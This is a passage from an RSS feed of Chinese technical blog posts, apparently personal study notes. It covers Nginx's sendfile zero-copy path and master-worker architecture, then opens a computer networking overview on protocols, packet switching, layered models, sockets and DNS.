&lt;h4&gt;2.1.1. 传统 read() + write() 方式&lt;/h4&gt;
&lt;p&gt;当 &lt;code&gt;Nginx&lt;/code&gt; 需要发送一个静态文件给客户端时，传统的 I/O 流程如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;read()&lt;/code&gt; 系统调用：&lt;/strong&gt; &lt;code&gt;Nginx&lt;/code&gt; 进程发起 &lt;code&gt;read()&lt;/code&gt;系统调用，请求读取文件。这会导致一次从&lt;strong&gt;用户空间到内核空间&lt;/strong&gt;的上下文切换。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第一次数据复制 (&lt;code&gt;DMA&lt;/code&gt;)：&lt;/strong&gt; &lt;code&gt;CPU&lt;/code&gt; 指示 &lt;code&gt;DMA&lt;/code&gt;控制器将文件内容从磁盘读取到&lt;strong&gt;内核空间的缓冲区&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第二次数据复制 (&lt;code&gt;CPU&lt;/code&gt;)：&lt;/strong&gt; &lt;code&gt;CPU&lt;/code&gt; 将数据从&lt;strong&gt;内核空间缓冲区&lt;/strong&gt;复制到&lt;strong&gt;用户空间的 &lt;code&gt;Nginx&lt;/code&gt;缓冲区&lt;/strong&gt;。&lt;code&gt;read()&lt;/code&gt; 调用返回，发生一次从&lt;strong&gt;内核空间到用户空间&lt;/strong&gt;的上下文切换。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;write()&lt;/code&gt; 系统调用：&lt;/strong&gt; &lt;code&gt;Nginx&lt;/code&gt; 进程拿到数据后，发起 &lt;code&gt;write()&lt;/code&gt;系统调用，请求发送数据。再次发生一次从&lt;strong&gt;用户空间到内核空间&lt;/strong&gt;的上下文切换。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第三次数据复制 (&lt;code&gt;CPU&lt;/code&gt;)：&lt;/strong&gt; &lt;code&gt;CPU&lt;/code&gt; 将数据从&lt;strong&gt;用户空间的&lt;code&gt;Nginx&lt;/code&gt;缓冲区&lt;/strong&gt;复制到&lt;strong&gt;内核空间的 &lt;code&gt;Socket&lt;/code&gt;缓冲区&lt;/strong&gt;（与网卡关联）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第四次数据复制 (&lt;code&gt;DMA&lt;/code&gt;)：&lt;/strong&gt; &lt;code&gt;DMA&lt;/code&gt; 控制器将数据从&lt;strong&gt;内核空间的 &lt;code&gt;Socket&lt;/code&gt; 缓冲区&lt;/strong&gt;复制到网卡硬件中，然后发送出去。&lt;code&gt;write()&lt;/code&gt;调用返回，再次发生一次从&lt;strong&gt;内核空间到用户空间&lt;/strong&gt;的上下文切换。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;2.1.2. sendfile() 方式&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;sendfile()&lt;/code&gt; 是一个系统调用，它把上述过程大大简化了。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;sendfile()&lt;/code&gt;系统调用：&lt;/strong&gt; &lt;code&gt;Nginx&lt;/code&gt; 进程发起&lt;code&gt;sendfile()&lt;/code&gt;系统调用，它包含了输入（文件描述符）和输出（&lt;code&gt;Socket&lt;/code&gt;描述符）的信息。发生一次从&lt;strong&gt;用户空间到内核空间&lt;/strong&gt;的上下文切换。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第一次数据复制 (&lt;code&gt;DMA&lt;/code&gt;)：&lt;/strong&gt; &lt;code&gt;DMA&lt;/code&gt; 控制器将文件内容从磁盘读取到&lt;strong&gt;内核空间的缓冲区&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第二次数据复制 (&lt;code&gt;CPU&lt;/code&gt;)：&lt;/strong&gt; &lt;code&gt;CPU&lt;/code&gt; 将数据&lt;strong&gt;直接从内核空间的读缓冲区复制到内核空间的&lt;code&gt;Socket&lt;/code&gt;缓冲区&lt;/strong&gt;。数据完全没有进入过用户空间！&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第三次数据复制 (&lt;code&gt;DMA&lt;/code&gt;)：&lt;/strong&gt; &lt;code&gt;DMA&lt;/code&gt;控制器将数据从&lt;strong&gt;内核空间的 &lt;code&gt;Socket&lt;/code&gt;缓冲区&lt;/strong&gt;复制到网卡硬件中。&lt;code&gt;sendfile()&lt;/code&gt;调用返回，发生一次从&lt;strong&gt;内核空间到用户空间&lt;/strong&gt;的上下文切换。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;总结一下高效之处：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2 次上下文切换&lt;/strong&gt;：减少了一半。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;3 次数据复制&lt;/strong&gt;：更重要的是，&lt;strong&gt;CPU 驱动的数据复制只有 1 次，且完全在内核空间内完成&lt;/strong&gt;，避免了数据在内核和用户空间之间的拷贝。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;真正的“零拷贝” (&lt;code&gt;Zero-Copy&lt;/code&gt;)：&lt;/strong&gt;
在更现代的硬件上，&lt;code&gt;sendfile()&lt;/code&gt; 还能做到更极致的优化。如果网卡支持 &quot;&lt;code&gt;Scatter-gather DMA&lt;/code&gt;&quot; 功能，那么第 3 步的 &lt;code&gt;CPU&lt;/code&gt;复制也可以省掉。内核只需要把数据在缓冲区的位置和长度等描述信息传递给网卡，网卡就可以自己去内核缓冲区里拉取数据。此时，数据复制就只剩两次&lt;code&gt;DMA&lt;/code&gt; 操作，&lt;code&gt;CPU&lt;/code&gt;完全不参与数据拷贝，这就是真正的“零拷贝”。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;sendfile&lt;/code&gt; 在&lt;code&gt;http&lt;/code&gt;块中，可自行寻找。&lt;code&gt;/etc/nginx/nginx.conf&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;2.2. Master-Worker&lt;/h3&gt;
&lt;p&gt;虽然我们用 &lt;code&gt;sudo&lt;/code&gt; 来启动和管理 &lt;code&gt;Nginx&lt;/code&gt;，但为了安全，&lt;code&gt;Nginx&lt;/code&gt; 的 &lt;code&gt;Master&lt;/code&gt;进程在启动后，会创建一些低权限的 &lt;strong&gt;&lt;code&gt;Worker&lt;/code&gt; 进程&lt;/strong&gt;。真正去处理用户请求、读取网站文件的，正是这些 &lt;code&gt;Worker&lt;/code&gt; 进程。&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;Arch Linux&lt;/code&gt; 上，这个低权限用户通常是&lt;code&gt;http&lt;/code&gt;。在其他系统（如 &lt;code&gt;Debian/Ubuntu&lt;/code&gt;）上可能是 &lt;code&gt;www-data&lt;/code&gt;,可以把&lt;code&gt;Nginx&lt;/code&gt; 的 &lt;code&gt;Worker&lt;/code&gt; 进程想象成一个名叫 &lt;code&gt;http&lt;/code&gt; 的普通访客。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;403 Forbidden&lt;/code&gt; 就是因为这个访客在某个环节被拦住了&lt;/p&gt;
&lt;h4&gt;2.2.1. Master Process&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;Master&lt;/code&gt; 进程是 &lt;code&gt;Nginx&lt;/code&gt;的入口和管理者，它以&lt;code&gt;root&lt;/code&gt; 用户权限启动，因为它需要执行一些特权操作。它的核心职责包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;读取和验证配置：&lt;/strong&gt; 启动时，它会读取 &lt;code&gt;nginx.conf&lt;/code&gt;并检查语法是否正确。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;绑定特权端口：&lt;/strong&gt; 监听低于 &lt;code&gt;1024&lt;/code&gt; 的端口（如 &lt;code&gt;80&lt;/code&gt;, &lt;code&gt;443&lt;/code&gt;）需要 &lt;code&gt;root&lt;/code&gt; 权限。&lt;code&gt;Master&lt;/code&gt; 进程负责绑定这些端口。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;创建和管理 Worker 进程：&lt;/strong&gt; 根据配置 (&lt;code&gt;worker_processes&lt;/code&gt;) 创建指定数量的 &lt;code&gt;Worker&lt;/code&gt; 进程。这些 &lt;code&gt;Worker&lt;/code&gt;进程会&lt;strong&gt;继承&lt;/strong&gt;已经打开的监听端口。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;以低权限运行 Worker：&lt;/strong&gt; 出于安全考虑，&lt;code&gt;Master&lt;/code&gt; 进程会以一个普通用户（如&lt;code&gt;http&lt;/code&gt;或 &lt;code&gt;www-data&lt;/code&gt;）的身份来启动 &lt;code&gt;Worker&lt;/code&gt; 进程。这样，即使 &lt;code&gt;Worker&lt;/code&gt; 进程被嘿壳利用，其破坏能力也被限制在该用户的权限范围内。:thinking:&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;处理控制信号：&lt;/strong&gt; &lt;code&gt;Master&lt;/code&gt; 进程负责响应来自管理员的指令，例如：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;nginx -s reload&lt;/code&gt;: 平滑重载配置。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nginx -s quit&lt;/code&gt;: 优雅地关闭。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nginx -s stop&lt;/code&gt;: 快速关闭。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;监控 Worker 状态：&lt;/strong&gt; 持续监控 &lt;code&gt;Worker&lt;/code&gt; 进程的健康状况，如果某个 &lt;code&gt;Worker&lt;/code&gt; 异常退出，&lt;code&gt;Master&lt;/code&gt;会立即重新启动一个新的 &lt;code&gt;Worker&lt;/code&gt; 来替代它。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;日志文件管理：&lt;/strong&gt; 负责打开日志文件。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;关键点：&lt;/strong&gt; &lt;code&gt;Master&lt;/code&gt; 进程不处理任何客户端的请求。它只做管理工作。&lt;/p&gt;
&lt;h4&gt;2.2.2. Worker Processes&lt;/h4&gt;
&lt;p&gt;Worker 进程是真正处理业务的“劳动力”。它们由 Master 进程创建，并以低权限用户运行。&lt;/p&gt;
&lt;p&gt;核心工作机制：事件驱动 + 异步非阻塞 I/O&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;共享监听套接字 (&lt;code&gt;Shared Listening Sockets&lt;/code&gt;):&lt;/strong&gt;
所有 &lt;code&gt;Worker&lt;/code&gt; 进程都从 &lt;code&gt;Master&lt;/code&gt; 进程继承了同一个监听套接字（&lt;code&gt;listening socket&lt;/code&gt;）。当一个新的客户端连接请求到达时，操作系统会唤醒这些正在等待的 &lt;code&gt;Worker&lt;/code&gt; 进程。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;争抢连接 (&lt;code&gt;accept_mutex&lt;/code&gt;):&lt;/strong&gt;
为了避免多个 &lt;code&gt;Worker&lt;/code&gt; 同时去处理同一个新连接（即“惊群效应” &lt;code&gt;Thundering Herd&lt;/code&gt;），&lt;code&gt;Nginx&lt;/code&gt;内部有一个 &lt;code&gt;accept_mutex&lt;/code&gt; 锁。只有一个 &lt;code&gt;Worker&lt;/code&gt;能成功获取到这个锁，然后调用 &lt;code&gt;accept()&lt;/code&gt;来建立连接。这保证了连接处理的负载在多个 &lt;code&gt;Worker&lt;/code&gt; 之间是相对均衡的。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;事件循环和 &lt;code&gt;epoll&lt;/code&gt;:&lt;/strong&gt;
每个 &lt;code&gt;Worker&lt;/code&gt; 进程内部都有一个高效的&lt;strong&gt;事件循环&lt;/strong&gt;。它利用操作系统的 &lt;code&gt;epoll&lt;/code&gt; (在&lt;code&gt;Linux&lt;/code&gt; 上) 或 &lt;code&gt;kqueue&lt;/code&gt; (在 &lt;code&gt;BSD/macOS&lt;/code&gt; 上) 这样的 &lt;code&gt;I/O&lt;/code&gt; 多路复用技术。
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;注册事件：&lt;/strong&gt; 当一个 &lt;code&gt;Worker&lt;/code&gt; 接受一个新连接后，它不会傻等客户端发数据。它只是把这个连接（&lt;code&gt;socket&lt;/code&gt;）注册到&lt;code&gt;epoll&lt;/code&gt;实例上，并告诉 &lt;code&gt;epoll&lt;/code&gt;：“当这个连接上有数据可读时，请通知我。”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;等待事件：&lt;/strong&gt; 然后，&lt;code&gt;Worker&lt;/code&gt; 进程就调用 &lt;code&gt;epoll_wait()&lt;/code&gt;，把自己“挂起”，等待 &lt;code&gt;epoll&lt;/code&gt; 的通知。它不消耗 &lt;code&gt;CPU&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;处理就绪事件：&lt;/strong&gt; 当一个或多个连接上的事件就绪时（比如，客户端发来了数据，或者发送缓冲区变空可以继续写入了），&lt;code&gt;epoll_wait()&lt;/code&gt; 会被唤醒，并返回一个“就绪事件”的列表。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;处理与再注册：&lt;/strong&gt; &lt;code&gt;Worker&lt;/code&gt; 进程遍历这个列表，对每个就绪的连接执行相应的&lt;strong&gt;非阻塞操作&lt;/strong&gt;（如 &lt;code&gt;read()&lt;/code&gt; 读取数据，&lt;code&gt;write()&lt;/code&gt; 或 &lt;code&gt;sendfile()&lt;/code&gt; 发送数据）。处理完一个连接后，它会再次向 &lt;code&gt;epol&lt;/code&gt;l 更新这个连接需要监听的下一个事件。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;流程的关键优势：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;单线程高效处理：&lt;/strong&gt; 每个 Worker 进程是单线程的，避免了线程切换的开销和锁的复杂性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;永不阻塞&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;连接数与内存消耗解耦：&lt;/strong&gt; 一个 Worker 可以轻松维护数万个连接&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>s3loy</author></item><item><title>Computer Network</title><link>https://blog.s3loy.tech/posts/computer-network</link><guid isPermaLink="true">https://blog.s3loy.tech/posts/computer-network</guid><pubDate>Tue, 28 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;网络全貌 / Network Overview&lt;/h2&gt;
&lt;h3&gt;网络定义 / Network Definition&lt;/h3&gt;
&lt;p&gt;:::note
&lt;strong&gt;Concept: 什么是网络 (Network)?&lt;/strong&gt;
&lt;strong&gt;网络&lt;/strong&gt;是指一组通过物理介质互连、遵循共同的&lt;strong&gt;标准 (Standards)&lt;/strong&gt; 与 &lt;strong&gt;协议 (Protocols)&lt;/strong&gt; 从而能够相互交换数据的计算机和其他设备
Core：&lt;strong&gt;网络 = 物理互连 + 通信协议&lt;/strong&gt;
:::&lt;/p&gt;
&lt;p&gt;为什么学习计算机网络？
&lt;s&gt;至少让自己不单单当一个调包侠&lt;/s&gt;
想学而不是不得不学&lt;/p&gt;
&lt;h3&gt;物理连接 / Physical Connection&lt;/h3&gt;
&lt;p&gt;要实现通信，首先需要物理层面的连通&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;物理介质 (Physical Media)&lt;/strong&gt;: 双绞线（网线）、光纤、无线电波等，用于承载信号&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;连通性 (Connectivity)&lt;/strong&gt;: 物理介质将设备连接在一起，形成通路&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在网络拓扑中，我们定义以下角色：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;节点 (Nodes)&lt;/strong&gt;: 网络中的任何可寻址设备&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;主机 (Host) / 端系统 (End System)&lt;/strong&gt;: 网络的边缘，运行应用程序（如 PC、手机、服务器）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;中间设备 (Intermediary Device)&lt;/strong&gt;: 网络的核心，负责数据转发（如路由器 Router、交换机 Switch）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;链路 (Links)&lt;/strong&gt;: 连接节点的物理通道&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Computer-Network/network.png&quot; alt=&quot;network&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;逻辑规则 / Logical Rules&lt;/h3&gt;
&lt;p&gt;物理连接只是基础，设备之间还需要懂得对方的“语言”，这就需要&lt;strong&gt;网络协议(Network Protocol)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;:::tip
为了方便讲解，后续的&lt;strong&gt;协议&lt;/strong&gt;指的都是&lt;strong&gt;网络协议&lt;/strong&gt;
:::&lt;/p&gt;
&lt;p&gt;:::note
&lt;strong&gt;Definition: 协议 (Protocol)&lt;/strong&gt;
协议是通信双方为了进行数据交换而建立的规则、标准或约定的集合
一个完整的协议通常包含三个要素：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;语法 (Syntax)&lt;/strong&gt;: 数据与控制信息的结构或格式（例如：前8位是地址，后8位是数据）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;语义 (Semantics)&lt;/strong&gt;: 发出何种控制信息，完成何种动作以及做出何种响应（例如：收到 &quot;RST&quot; 包表示重置连接）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;时序 (Timing)&lt;/strong&gt;: 事件实现顺序的详细说明（例如：先握手，再传数据）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::
协议 = 语法 + 语义 + 时序&lt;/p&gt;
&lt;h3&gt;数据交换 / Packet Switching&lt;/h3&gt;
&lt;p&gt;有了物理连接和逻辑协议，数据究竟是如何在网络中传输的？互联网采用的是革命性的&lt;strong&gt;分组交换&lt;/strong&gt;技术&lt;/p&gt;
&lt;h4&gt;数据包与封装 / Data Packets &amp;amp; Encapsulation&lt;/h4&gt;
&lt;p&gt;在计算机网络中，应用数据并不是以连续的流（Stream）一次性传输的，而是被切割成更小的数据块
:::note
&lt;strong&gt;Definition: 数据包 (Data Packet)&lt;/strong&gt;
数据包是网络传输的最小逻辑单位。它由两部分组成：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;首部 (Header)&lt;/strong&gt;: 包含控制信息（如源地址、目的地址、序列号、校验和）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;负载 (Payload)&lt;/strong&gt;: 实际要传输的用户数据&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;封装 (Encapsulation)&lt;/strong&gt; 是分层架构的核心机制：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;每一层协议在发送数据时，都会在上一层数据的前面加上自己的 &lt;strong&gt;Header&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;关键&lt;/strong&gt;: 对于下层协议而言，上层传递下来的整个数据包（Header + Payload），都仅仅是下层的 &lt;strong&gt;Payload&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;每一层都在给数据贴标签，这层贴完给下一层，下一层根本不看里面的内容，只看标签办事&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在此处一定要记住这个概念，在见到没见过的东西你可以安慰自己说它是封装很好（&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;Computer-Network/UDP_encapsulation.svg&quot; alt=&quot;UDP_encapsulation&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;分组交换 / Packet Switching&lt;/h4&gt;
&lt;p&gt;现代互联网（Internet）的基础设计思想是分组交换，它区别于传统电话网的电路交换&lt;/p&gt;
&lt;p&gt;:::note
&lt;strong&gt;Concept: 分组交换 vs. 电路交换&lt;/strong&gt;
&lt;strong&gt;电路交换 (Circuit Switching)&lt;/strong&gt;: 通信前必须建立一条&lt;strong&gt;独占&lt;/strong&gt;的物理通路，论是否通话，资源都被占用，效率低下
&lt;strong&gt;分组交换 (Packet Switching)&lt;/strong&gt;: 数据被切分成多个包，每个包独立寻找路径到达目的地
:::&lt;/p&gt;
&lt;p&gt;分组交换具有两个核心特征：
&lt;strong&gt;1. 统计多路复用 (Statistical Multiplexing)&lt;/strong&gt;
链路带宽资源不是按固定时隙分配给用户的，而是&lt;strong&gt;按需分配&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;多个用户的数据流交织在同一条链路中传输。这极大提高了带宽利用率，但也引入了拥塞的可能性&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2. 存储转发 (Store-and-Forward)&lt;/strong&gt;
路由器（交换节点）在向下一跳转发数据包之前，必须&lt;strong&gt;完整地接收&lt;/strong&gt;该数据包&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;过程&lt;/strong&gt;:
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Store&lt;/strong&gt;: 路由器先将整个包接收并存储在缓存（Buffer）中&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Process&lt;/strong&gt;: 检查 Header（查路由表、校验错误）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Forward&lt;/strong&gt;: 将包推送到正确的输出链路&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;代价&lt;/strong&gt;: 这一机制是网络&lt;strong&gt;时延 (Latency)&lt;/strong&gt; 的主要物理来源之一。如果链路拥塞，包会在路由器的缓存队列中排队，产生&lt;strong&gt;排队时延&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;性能指标 / Performance Metrics&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;在这只是一个知识补充&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;那如何衡量网络性能？&lt;/p&gt;
&lt;h4&gt;速率与带宽 / Rate &amp;amp; Bandwidth&lt;/h4&gt;
&lt;p&gt;单位时间内传输的数据量（bps）&lt;/p&gt;
&lt;h4&gt;时延 / Latency&lt;/h4&gt;
&lt;p&gt;数据从一端传送到另一端所需的时间&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;发送时延（推数据）&lt;/li&gt;
&lt;li&gt;传播时延（光速跑）&lt;/li&gt;
&lt;li&gt;处理时延（路由器检查）&lt;/li&gt;
&lt;li&gt;排队时延（路由器堵车）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;吞吐量 / Throughput&lt;/h4&gt;
&lt;p&gt;实际通过网络的有效数据速率（受带宽和拥塞控制影响）&lt;/p&gt;
&lt;h4&gt;丢包率 / Packet Loss&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;丢包率&lt;/strong&gt;（Packet Loss Rate）是指在数据传输过程中，丢失的数据包数量占所发送数据包总数的比率。它是衡量网络性能的重要指标之一。丢包率的计算公式为：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;丢包率 = [(输入报文 - 输出报文) / 输入报文] * 100%&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;分层模型 / Layered Architecture&lt;/h3&gt;
&lt;p&gt;网络极其复杂，为了降低复杂度，我们采用&lt;strong&gt;分层&lt;/strong&gt;的设计思想&lt;/p&gt;
&lt;p&gt;为了把协议标准化，历史上出现了两种主要模型：&lt;/p&gt;
&lt;h4&gt;OSI 七层模型 / OSI Model&lt;/h4&gt;
&lt;p&gt;学术界的“理想国”，分得非常细，非常完美，但太复杂，实现困难&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;物理层&lt;/strong&gt;：传比特流 (Bit)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数据链路层&lt;/strong&gt;：传帧 (Frame)，管网卡MAC地址&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;网络层&lt;/strong&gt;：传包 (Packet)，管IP地址，选路&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;传输层&lt;/strong&gt;：管端到端连接 (TCP/UDP)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;会话层&lt;/strong&gt;：管理会话状态。（TCP/IP中无）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;表示层&lt;/strong&gt;：数据加密、压缩、编码。（TCP/IP中无）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;应用层&lt;/strong&gt;：直接服务用户&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;TCP/IP 模型 / TCP/IP Model&lt;/h4&gt;
&lt;p&gt;工业界的事实标准，更加实用.它把 OSI 繁琐的 5、6、7 层合并了&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;网络接口层&lt;/strong&gt; (对应 OSI 的 1, 2)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;网际层&lt;/strong&gt; (对应 OSI 的 3)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;传输层&lt;/strong&gt; (对应 OSI 的 4)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;应用层&lt;/strong&gt; (对应 OSI 的 5, 6, 7)&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;: 在 TCP/IP 模型中，会话管理（Session）和数据表示（Presentation）的功能被下放给应用程序开发者自行实现，操作系统内核不负责这两层&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;Computer-Network/osivstcpip.png&quot; alt=&quot;osivstcpip&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;应用层 / Application Layer&lt;/h2&gt;
&lt;p&gt;:::note
&lt;strong&gt;Definition: 应用层&lt;/strong&gt;
应用层是网络应用程序及其应用层协议驻留的地方。它是协议栈的顶层，直接为用户进程提供服务
:::
需要知道的是，应用程序!=应用层&lt;/p&gt;
&lt;h3&gt;应用架构 / Application Architectures&lt;/h3&gt;
&lt;p&gt;谁来做服务端？谁来做客户端？&lt;/p&gt;
&lt;h4&gt;大型机模式 / Mainframe Model&lt;/h4&gt;
&lt;p&gt;很老的东西，又称为分时共享模式，面向终端的多用户计算机系统&lt;/p&gt;
&lt;h4&gt;客户-服务器架构 / Client-Server Architecture&lt;/h4&gt;
&lt;p&gt;客户端（Client）间歇性连接，IP 可变
固定的服务器（Server），一直开机，IP 固定
现在非常常用
在客户机发出命令，在服务器中处理并返回结果&lt;/p&gt;
&lt;h4&gt;对等网络架构 / P2P Architecture&lt;/h4&gt;
&lt;p&gt;没有中心服务器，任意端系统之间直接通信
虽然这个方法扩展性强，但难以管理
&lt;code&gt;BitTorrent&lt;/code&gt; 就是使用了这个架构
&lt;img src=&quot;Computer-Network/CSP2P.jpg&quot; alt=&quot;CSP2P&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;浏览器-服务器架构 / B/S Architecture&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;Computer-Network/BrowserServer.jpg&quot; alt=&quot;BrowserServer&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;进程寻址 / Process Addressing&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;网络很大，我怎么找到你？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;应用层通信的本质是&lt;strong&gt;进程(Process)&lt;/strong&gt; 之间的通信&lt;/p&gt;
&lt;h4&gt;端口号 / Port Number&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定义&lt;/strong&gt;：一个 16 位的整数，用于标识主机上运行的特定进程&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;分类&lt;/strong&gt;：熟知端口（0-1023，如 HTTP 80, HTTPS 443, ssh 22），注册端口（1024-49151），动态端口（49152-65535）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;套接字 / Socket&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;套接字地址 (Socket Address)&lt;/strong&gt;: IP 地址 : 端口号。这是网络中进程的唯一标识&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;套接字 API (Socket API)&lt;/strong&gt;: 操作系统内核提供给应用程序的&lt;strong&gt;编程接口&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;在 Linux/Unix 中，Socket 表现为一个&lt;strong&gt;文件描述符 (File Descriptor)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;应用程序通过读写这个“文件”来与网络另一端的进程通信，而无需关心底层的 TCP/IP 传输细节&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;Computer-Network/socket.png&quot; alt=&quot;socket&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;基础设施 / Infrastructure&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;Computer-Network/L7L4relationship.jpg&quot; alt=&quot;L7L4relationship&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;DNS域名系统 / DNS&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Why DNS?&lt;/strong&gt;
网络设备只认识 IP 地址，但人类习惯记忆字符串
DNS 是连接这两者的桥梁&lt;/p&gt;
&lt;/blockquote&gt;
